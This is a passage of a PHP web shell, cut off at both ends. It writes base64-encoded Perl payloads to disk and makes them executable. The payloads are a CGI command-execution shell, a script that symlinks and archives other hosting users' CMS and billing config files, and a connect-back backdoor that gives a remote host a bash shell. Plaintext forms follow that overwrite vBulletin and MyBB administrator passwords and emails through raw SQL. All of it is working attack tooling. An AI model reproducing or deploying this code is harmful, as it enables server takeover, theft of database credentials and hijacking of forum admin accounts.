Sd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCXByaW50ICI8L2NvZGU+IjsKCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRwYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9Cg==');
$write = fwrite ($file ,$sa);
$file = fopen($dir."config.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHRpdGxlPlt+XSBDeWIzci1EWiBDb25maWcgLSBbfl0gPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBmb250LWZhbWlseTogVGFob21hOwogZm9udC1zaXplOiB4LXNtYWxsOwogZm9udC13ZWlnaHQ6IGJvbGQ7CiBjb2xvcjogIzAwRkZGRjsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KPC9zdHlsZT4KPC9oZWFkPgonOwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4iLyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlci50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJzIudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJzQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXZiLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0xNS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYzE2LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJzF3aG1jcy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLictd2htY3MyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudC50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctc2VjdXJlLnR4dCcpOyAKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLW1hbmFnZS50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmctYWNjb3VudC50eHQnKTsgCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXJ2aWNlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLWFjY291bnQudHh0Jyk7IApzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXkvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy1teS50eHQnKTsgCn0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7CiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cn0gZWxzZSB7CiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Owp9CkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7CmZvcmVhY2ggJHBhaXIgKEBwYWlycykgewogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOwogICRuYW1lID1+IHRyLysvIC87CiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkdmFsdWUgPX4gdHIvKy8gLzsKICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsKICAkRk9STXskbmFtZX0gPSAkdmFsdWU7Cn0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsKcHJpbnQgJwo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4KPHA+TWFyaW9uMDAxIENvbmZpZyAgU2NyaXB0PC9wPgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZGRkY7IHdpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkYiICA+PC90ZXh0YXJlYT48YnIgLz4KJm5ic3A7PHA+CjxpbnB1dCB2YWx1ZT0iI2NhdCAvZXRjL3Bhc3N3ZCIgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KJm5ic3A7PC9wPgo8cD4KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPgo8L2Zvcm0+JzsKfWVsc2V7CkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsKJHkgPSBAbGluZXM7Cm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7CnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7CmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsKd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7CiZsaWwoJDEpOwpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsKZm9yKCRrZD0xOyRrZDwxODska2QrKyl7CnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsKfQp9CiB9CnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPgo8cD5Eb25lICEhPC9wPgo8cD4mbmJzcDs8L3A+JzsKaWYoJEZPUk17dGFyfSBuZSAiIil7Cm9wZW4oSU5GTywgInRhci50bXAiKTsKQGxpbmVzID08SU5GTz4gOwpjbG9zZShJTkZPKTsKc3lzdGVtKEBsaW5lcyk7CnByaW50JzxwPjxhIGhyZWY9IicuZ2V0VXBQYXRoKCRub3dwYXRoKS4nLnJhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPgo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7Cn0KfQogcHJpbnQiCjwvYm9keT4KPC9odG1sPiI7Cg==
');
$write = fwrite ($file ,$sa);
$file = fopen($dir."backdoor.txt" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0OwojICAgUHJpdjggKiogUHJpdjggKiogUHJp
djgKIyBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgQ29ubmVjdCBCYWNrIFNoZWxsICAgICAgICAgIAoj
IGNvZGUgYnk6TG9yRAojIFdlIEFyZSA6TG9yRC1DMGQzci1OVC1ceDkwICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAojIEVtYWlsOkxvckRAaWhzdGVhbS5jb20KIwoj
bG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJsIGRjLnBsCiMtLT09IENv
bm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZzIDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBT
QUJPVEFHRSA9PS0tCiMKI1VzYWdlOiBkYy5wbCBbSG9zdF0gW1BvcnRdCiMKI0V4OiBkYy5wbCAx
MjcuMC4wLjEgMjEyMQojbG9yZEBTbGFja3dhcmVMaW51eDovaG9tZS9wcm9ncmFtaW5nJCBwZXJs
IGRjLnBsIDEyNy4wLjAuMSAyMTIxCiMtLT09IENvbm5lY3RCYWNrIEJhY2tkb29yIFNoZWxsIHZz
IDEuMCBieSBMb3JEIG9mIElSQU4gSEFDS0VSUyBTQUJPVEFHRSA9PS0tCiMKI1sqXSBSZXNvbHZp
bmcgSG9zdE5hbWUKI1sqXSBDb25uZWN0aW5nLi4uIDEyNy4wLjAuMQojWypdIFNwYXduaW5nIFNo
ZWxsCiNbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0CgojYmFzaC0yLjA1YiMgbmMgLXZ2IC1s
IC1wIDIxMjEKI2xpc3RlbmluZyBvbiBbYW55XSAyMTIxIC4uLgojY29ubmVjdCB0byBbMTI3LjAu
MC4xXSBmcm9tIGxvY2FsaG9zdCBbMTI3LjAuMC4xXSAzMjc2OQojLS09PSBDb25uZWN0QmFjayBC
YWNrZG9vciB2cyAxLjAgYnkgTG9yRCBvZiBJUkFOIEhBQ0tFUlMgU0FCT1RBR0UgPT0tLQojCiMt
LT09U3lzdGVtaW5mbz09LS0KI0xpbnV4IFNsYWNrd2FyZUxpbnV4IDIuNi43ICMxIFNNUCBUaHUg
RGVjIDIzIDAwOjA1OjM5IElSVCAyMDA0IGk2ODYgdW5rbm93biB1bmtub3duIEdOVS9MaW51eAoj
CiMtLT09VXNlcmluZm89PS0tCiN1aWQ9MTAwMShsb3JkKSBnaWQ9MTAwKHVzZXJzKSBncm91cHM9
MTAwKHVzZXJzKQojCiMtLT09RGlyZWN0b3J5PT0tLQojL3Jvb3QKIwojLS09PVNoZWxsPT0tLQoj
CiRzeXN0ZW0JPSAnL2Jpbi9iYXNoJzsKJEFSR0M9QEFSR1Y7IApwcmludCAiSUhTIEJBQ0stQ09O
TkVDVCBCQUNLRE9PUlxuXG4iOyAKaWYgKCRBUkdDIT0yKSB7IAogICBwcmludCAiVXNhZ2U6ICQw
IFtIb3N0XSBbUG9ydF0gXG5cbiI7IAogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7
IAp9IAp1c2UgU29ja2V0OyAKdXNlIEZpbGVIYW5kbGU7IApzb2NrZXQoU09DS0VULCBQRl9JTkVU
LCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBV
bmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOyAKY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRB
UkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRv
IENvbm5lY3QgSG9zdFxuIjsgCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOwpwcmlu
dCAiWypdIENvbm5lY3RpbmcuLi4gJEFSR1ZbMF0gXG4iOyAKcHJpbnQgIlsqXSBTcGF3bmluZyBT
aGVsbCBcbiI7CnByaW50ICJbKl0gQ29ubmVjdGVkIHRvIHJlbW90ZSBob3N0IFxuIjsKU09DS0VU
LT5hdXRvZmx1c2goKTsgCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOyAKb3BlbihTVERPVVQsIj4m
U09DS0VUIik7IApvcGVuKFNUREVSUiwiPiZTT0NLRVQiKTsgCnByaW50ICJJSFMgQkFDSy1DT05O
RUNUIEJBQ0tET09SICBcblxuIjsgCnN5c3RlbSgidW5zZXQgSElTVEZJTEU7IHVuc2V0IFNBVkVI
SVNUIDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLSA7IHVuYW1lIC1hO2VjaG87CmVjaG8gLS09PVVz
ZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBl
Y2hvIC0tPT1TaGVsbD09LS0gIik7IApzeXN0ZW0oJHN5c3RlbSk7CiNFT0Y=');
$write = fwrite ($file ,$sa);
fclose($file);
chmod($dir."cgi.pl" , 0755);
chmod($dir."user.sa" , 0755);
chmod($dir."dz.sa" , 0755);
chmod($dir."config.sa" , 0755);
if ($write) { echo '<p align="center">Download Files is Done: <a href="'.$_POST['name_dir_download'].'" target="_blank" style="text-decoration: none">Click ....</a></p><br><br>';
} else {echo"\"error\"";
} } if($_POST['submit_download']){ download_files($_POST['name_dir_download']);
} function update() { echo "[+] Update Has D0n3 ^_^";
} if (isset($_POST['vbulletin'])) { echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change vBulletin Info<br>Patch Control Panel : [patch]/admincp<br>Path Config : [patch]/includes/config.php<br>includes/init.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/class_core.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/config.php</font></center>
<center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB name<br></font><input value=forums type=text name=dbnvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB password<br></font><input value=admin type=text name=dbpvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Table prefix<br></font><input value=vb_ type=text name=prvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>User admin<br></font><input value=admin type=text name=urvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>New password admin<br></font><input value=Marion001 type=text name=psvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>New E-mail admin<br></font><input [email protected] type=text name=emvb size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<input type=submit value='Change' ><br>
</form></center></td></tr></table></center>";
}else{ $dbhvb = $_POST['dbhvb'];
$dbnvb = $_POST['dbnvb'];
$dbuvb = $_POST['dbuvb'];
$dbpvb = $_POST['dbpvb'];
@mysql_connect($dbhvb,$dbuvb,$dbpvb);
@mysql_select_db($dbnvb);
$urvb=str_replace("\'","'",$urvb);
$set_urvb = $_POST['urvb'];
$psvb=str_replace("\'","'",$psvb);
$pass_vb = $_POST['psvb'];
$emvb=str_replace("\'","'",$emvb);
$set_emvb = $_POST['emvb'];
$vb_prefix = $_POST['prvb'];
$table_name = $vb_prefix."user" ;
$query = 'select * from ' . $table_name . ' where username="' . $set_urvb . '";
';
$result = mysql_query($query);
$row = mysql_fetch_array($result);
$salt = $row['salt'];
$pass2 = md5($pass_vb);
$pass =$pass2 . $salt;
$set_pssalt = md5($pass);
$tiger1 = 'UPDATE ' . $table_name . ' SET password="' . $set_pssalt . '" WHERE username="' . $set_urvb . '";
';
$tiger2 = 'UPDATE ' . $table_name . ' SET email="' . $set_emvb . '" WHERE username="' . $set_urvb . '";
';
$ok1=@mysql_query($tiger1);
$ok1=@mysql_query($tiger2);
if($ok1){ echo "<script>alert('vBulletin Info Changed ;
)');
</script>";
} } if (isset($_POST['mybb'])) { echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change MyBB Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/inc/config.php</font></center>
<center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhmy size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB name<br></font><input value=mybb type=text name=dbnmy size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbumy size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB password<br></font><input value=admin type=text name=dbpmy size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Change user admin<br></font><input value=Marion001 type=text name=urmy size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Change E-mail admin<br></font><input [email protected] type=text name=emmy size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Table prefix<br></font><input value=mybb_ type=text name=prmy size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{ $dbhmy = $_POST['dbhmy'];
$dbnmy = $_POST['dbnmy'];
$dbumy = $_POST['dbumy'];
$dbpmy = $_POST['dbpmy'];
@mysql_connect($dbhmy,$dbumy,$dbpmy);
@mysql_select_db($dbnmy);
$urmy=str_replace("\'","'",$urmy);
$set_urmy = $_POST['urmy'];
$emmy=str_replace("\'","'",$emmy);
$set_emmy = $_POST['emmy'];
$my_prefix = $_POST['prmy'];
$table_name1 = $my_prefix."users" ;
$tiger3 = "UPDATE $table_name1 SET username ='".$set_urmy."' WHERE uid ='1'";
$tiger4 = "UPDATE $table_name1 SET email ='".$set_emmy."' WHERE uid ='1'";
$ok2=@mysql_query($tiger3);
